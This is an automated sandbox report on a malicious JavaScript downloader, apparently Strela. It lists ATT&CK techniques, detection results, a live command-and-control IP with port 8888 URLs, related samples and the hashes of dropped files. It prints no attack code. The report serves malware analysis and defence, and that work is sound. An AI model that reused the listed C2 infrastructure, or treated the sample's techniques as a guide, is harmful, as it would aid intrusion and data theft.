Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
241198432146011036.js	5%	Virustotal		Browse
241198432146011036.js	3%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/2	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sce	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/g	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.34	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2661254021.0000020736000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.1454726021.0000020735E10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/g	net.exe, 00000007.00000002.1455092417.0000013B4306B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1454193161.0000013B4306B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1452937383.0000013B4308B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1455092417.0000013B4306B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1454193161.0000013B4306B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1454918507.0000013B43038000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000007.00000002.1454918507.0000013B43038000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/2	net.exe, 00000007.00000002.1454918507.0000013B43038000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588227
Start date and time:	2025-01-10 22:50:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	241198432146011036.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 162.159.61.3, 172.64.41.3, 2.23.240.205, 23.209.209.135, 184.28.90.27, 199.232.210.172, 2.16.168.107, 2.16.168.105, 88.221.110.91, 2.16.100.168, 18.213.11.84, 4.175.87.197, 96.17.64.171
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:51:26	API Interceptor	28x Sleep call for process: powershell.exe modified
16:51:31	API Interceptor	1x Sleep call for process: net.exe modified
16:51:31	API Interceptor	2x Sleep call for process: svchost.exe modified
16:51:38	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.37
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	217.20.57.18
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
bg.microsoft.map.fastly.net	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11057252552282120022.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3039412363370818030.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	160370701202011504.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32489123841084027785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	boatnet.arm.elf	Get hash	malicious	Unknown	Browse	193.143.1.54
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2609231882173488714.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23614810137024152.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20394193042959831455.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8008233632276451
Encrypted:	false
SSDEEP:	1536:CJD1YBdWK7S50AhnZ0Ag0ALzJVEbJBJlPVPEH3cNkPfF7Njg9QaQfOgFrGXuE5TK:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfJ
MD5:	4DB18B499F46E8AE7310BA6B291253AE
SHA1:	6146C3FA89654A18AE3CBDF64C7C253EB7FED571
SHA-256:	924956F0F9EE320CB67B7A4402ECD634408F8C4D1F4ED345DB132086010BD446
SHA-512:	F7A59A668F01D95C7CEEB93595C97C4EC38E2AAA8587F6FAB03FC24287200843C8FD57E6FE8EB59320885690B8549245BC1A24B762599C649AA9DE0BAD7F6D8B
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x17a86247, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715426993978031
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:zaza9vqcHbrq2UyUVWlW
MD5:	78F85AEE97260628E8610962007759F6
SHA1:	C32B19FB2D5573B0FDE93CB2C06B3469AE212316
SHA-256:	5CAB6B4034117A2E8ECFEBA976DDE540397AD2D3FF5A4E783F7F59660243B163
SHA-512:	6E5EC3F9E6C34639F7B8272CDA1E791BF47B4778B84B8FD81313C48807F5CE203014AC633EDB0214CA05FC9979FE1B327AD3F3A36D0A4B41BB9AC8334FB5D849
Malicious:	false
Preview:	..bG... ...............X\...;...{......................0.p.....#....{...3...}..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{...................................l.a 3...}..................z;x..3...}...........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08172663387782099
Encrypted:	false
SSDEEP:	3:kiyYeNfk3vr8qrrvr+gvrr/KjgllVmctlll/Sm1l1:FyzNf7gn/KULPPv
MD5:	4E5EB34BDB12B39CC9E7D315455F2B4A
SHA1:	A9887A4FFED940A82EECF02D748605718C30AD83
SHA-256:	8BA45A1BC4C7A93854172D49617A52C9088990494E66E54E78A0F869E96CD40E
SHA-512:	45C809743C1FD1078BEDF13647F0B81D3CCCAF6B3F79B813C357E9EE4B888C8CCE5494E2C95D06037C9941876EBCB2713FF8825E3F251A896208928118E4AE67
Malicious:	false
Preview:	.........................................;...{...3...}..#....{..........#....{..#....{...i..#....{.V................z;x..3...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.193714514744447
Encrypted:	false
SSDEEP:	6:iO4Ho7+q2PsZ2nKuAl9OmbnIFUtSHFUg5ZmwsHFUgtVkwOsZ2nKuAl9OmbjLJ:7divkcHAahFUtYUg5/qUgT51cHAaSJ
MD5:	EEE6727FD7BD720E86F069B8BDE6E43E
SHA1:	2F498973CB8A46782204C9A5EFAAE9F7354A1B40
SHA-256:	FDC92C23B0C990F0BCE777281EC6DA3B037BABB7DB1B23BBA6BA8E1667D9E1E2
SHA-512:	A0052B1CC51483ADA45E27C9D5E381177AB98F41335C5548FA0B472DC1073176B90332ED95B685E659DA29C01F01CA3566963E38110B78E04733912793197737
Malicious:	false
Preview:	2025/01/10-16:51:31.306 1768 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:51:31.309 1768 Recovering log #3.2025/01/10-16:51:31.309 1768 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.193714514744447
Encrypted:	false
SSDEEP:	6:iO4Ho7+q2PsZ2nKuAl9OmbnIFUtSHFUg5ZmwsHFUgtVkwOsZ2nKuAl9OmbjLJ:7divkcHAahFUtYUg5/qUgT51cHAaSJ
MD5:	EEE6727FD7BD720E86F069B8BDE6E43E
SHA1:	2F498973CB8A46782204C9A5EFAAE9F7354A1B40
SHA-256:	FDC92C23B0C990F0BCE777281EC6DA3B037BABB7DB1B23BBA6BA8E1667D9E1E2
SHA-512:	A0052B1CC51483ADA45E27C9D5E381177AB98F41335C5548FA0B472DC1073176B90332ED95B685E659DA29C01F01CA3566963E38110B78E04733912793197737
Malicious:	false
Preview:	2025/01/10-16:51:31.306 1768 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:51:31.309 1768 Recovering log #3.2025/01/10-16:51:31.309 1768 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.159895263711681
Encrypted:	false
SSDEEP:	6:iO4HA+q2PsZ2nKuAl9Ombzo2jMGIFUtSH7ZZmwsHGVkwOsZ2nKuAl9Ombzo2jMmd:7CvkcHAa8uFUtg/L51cHAa8RJ
MD5:	5492BF8830FF959511E7358F08EA6DF2
SHA1:	D36B8D47A6EE4DFE4ED389C26EE2BA592630D16B
SHA-256:	E4276A0AFA0740A16E8F0A7271AFFC316B94A7133F0634543B32955BA5942A70
SHA-512:	9A72DCB7FCAB764C37B5CBEF3EBCA61E89624D685F92E13FB506D96370975C6073D34E2ABFDB94B02C9F9CADE43A64FDCBACEB83321B419ECB7FE99A52A28B56
Malicious:	false
Preview:	2025/01/10-16:51:31.397 1a08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:51:31.398 1a08 Recovering log #3.2025/01/10-16:51:31.399 1a08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.159895263711681
Encrypted:	false
SSDEEP:	6:iO4HA+q2PsZ2nKuAl9Ombzo2jMGIFUtSH7ZZmwsHGVkwOsZ2nKuAl9Ombzo2jMmd:7CvkcHAa8uFUtg/L51cHAa8RJ
MD5:	5492BF8830FF959511E7358F08EA6DF2
SHA1:	D36B8D47A6EE4DFE4ED389C26EE2BA592630D16B
SHA-256:	E4276A0AFA0740A16E8F0A7271AFFC316B94A7133F0634543B32955BA5942A70
SHA-512:	9A72DCB7FCAB764C37B5CBEF3EBCA61E89624D685F92E13FB506D96370975C6073D34E2ABFDB94B02C9F9CADE43A64FDCBACEB83321B419ECB7FE99A52A28B56
Malicious:	false
Preview:	2025/01/10-16:51:31.397 1a08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:51:31.398 1a08 Recovering log #3.2025/01/10-16:51:31.399 1a08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\06e5f091-5209-49d2-baf9-0f85f7e74e35.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.971308936549284
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1sBdOg2HCcaq3QYiubPyP7E4TX:Y2sRdsTdMHN3QYhbC7n7
MD5:	9DED1C09A5BF5786A6517CEEA68DC0C7
SHA1:	F3213474F6BB0938812FFECD151F8FC6726CCBAC
SHA-256:	F15AF223B9643822E857CBCCAC24A50F65AF34313C6964B7F81ACFBAE218FA3E
SHA-512:	7E0ADC5AD0DFF2996E6D09E8C8124A1A8D043582DD37861A100D1BB066033F3E0E46AA85A16A418C065E36938E04BB62EE6729946311CF4099BB786035BF7A35
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341064104987871","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":179539},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3aeaa1b4-31b8-40e1-9a14-1da8c5d719b0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.9638475521285
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqqsBdOg2Hzcaq3QYiubPyP7E4TX:Y2sRds+dMHK3QYhbC7n7
MD5:	417B0C93381F7EC1289B2F8844F93D87
SHA1:	97C2D91EFC7271C28CAF7B1761D07134EB036CA0
SHA-256:	42FDAEEFFFDF7B0C43D1C37277C6368FC527331F7439BE546D8109F52DB3B425
SHA-512:	0AFA5C8BC175948589DB56E47F36846CCA7697125660A4AF912E85EBDC8A584B453355903389B705F9C35EA8B892A6AD73D5F943063D3319C316B18EC6FCC00D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381105903037518","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122242},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.971308936549284
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1sBdOg2HCcaq3QYiubPyP7E4TX:Y2sRdsTdMHN3QYhbC7n7
MD5:	9DED1C09A5BF5786A6517CEEA68DC0C7
SHA1:	F3213474F6BB0938812FFECD151F8FC6726CCBAC
SHA-256:	F15AF223B9643822E857CBCCAC24A50F65AF34313C6964B7F81ACFBAE218FA3E
SHA-512:	7E0ADC5AD0DFF2996E6D09E8C8124A1A8D043582DD37861A100D1BB066033F3E0E46AA85A16A418C065E36938E04BB62EE6729946311CF4099BB786035BF7A35
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341064104987871","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":179539},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3e8242.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.971308936549284
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1sBdOg2HCcaq3QYiubPyP7E4TX:Y2sRdsTdMHN3QYhbC7n7
MD5:	9DED1C09A5BF5786A6517CEEA68DC0C7
SHA1:	F3213474F6BB0938812FFECD151F8FC6726CCBAC
SHA-256:	F15AF223B9643822E857CBCCAC24A50F65AF34313C6964B7F81ACFBAE218FA3E
SHA-512:	7E0ADC5AD0DFF2996E6D09E8C8124A1A8D043582DD37861A100D1BB066033F3E0E46AA85A16A418C065E36938E04BB62EE6729946311CF4099BB786035BF7A35
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341064104987871","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":179539},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.233837441231936
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflFA5Q:oqupGVTbzrhtzxtSzK3/dRnlLejyE4vF
MD5:	3CC5614E2A44022D02BB16297748A5F3
SHA1:	198DCC07CA46CF6F957066A1F8840F6FFF596472
SHA-256:	4158C384601E32E1AC6787A9B319745A90E2A39C733A9CDEEF8DB9D47DA6646B
SHA-512:	ED9623CB836C194DC052886728750DDFFBF105142D6029E9D487013341E06668F063EAA307B26B05F98DF2FB4717018639CB3940766E147514094ABBF07EA4FB
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.172885492324214
Encrypted:	false
SSDEEP:	6:iO4HY+q2PsZ2nKuAl9OmbzNMxIFUtSHBZZmwsHK3VkwOsZ2nKuAl9OmbzNMFLJ:72vkcHAa8jFUtCZ//51cHAa84J
MD5:	3993EA962F93E2AD39A2CD60CBAF1148
SHA1:	2FD49C2E7D7C6F51CEB0700AF7560D5B8FC0A791
SHA-256:	7192EAE2B96EE6A0211521874B249EB558BAD3CC25F9DD42A1BF2560D90A0B4D
SHA-512:	D3D659B2394E2C869BBED77C7DD30C303B305D33A151DE05D76A09D8B4D1270CCA91E05CE38160CD0B4F8FA6406705787902D819EC81611833AB8E682E96B7FA
Malicious:	false
Preview:	2025/01/10-16:51:31.472 1a08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:51:31.473 1a08 Recovering log #3.2025/01/10-16:51:31.474 1a08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.172885492324214
Encrypted:	false
SSDEEP:	6:iO4HY+q2PsZ2nKuAl9OmbzNMxIFUtSHBZZmwsHK3VkwOsZ2nKuAl9OmbzNMFLJ:72vkcHAa8jFUtCZ//51cHAa84J
MD5:	3993EA962F93E2AD39A2CD60CBAF1148
SHA1:	2FD49C2E7D7C6F51CEB0700AF7560D5B8FC0A791
SHA-256:	7192EAE2B96EE6A0211521874B249EB558BAD3CC25F9DD42A1BF2560D90A0B4D
SHA-512:	D3D659B2394E2C869BBED77C7DD30C303B305D33A151DE05D76A09D8B4D1270CCA91E05CE38160CD0B4F8FA6406705787902D819EC81611833AB8E682E96B7FA
Malicious:	false
Preview:	2025/01/10-16:51:31.472 1a08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:51:31.473 1a08 Recovering log #3.2025/01/10-16:51:31.474 1a08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.43860955350172
Encrypted:	false
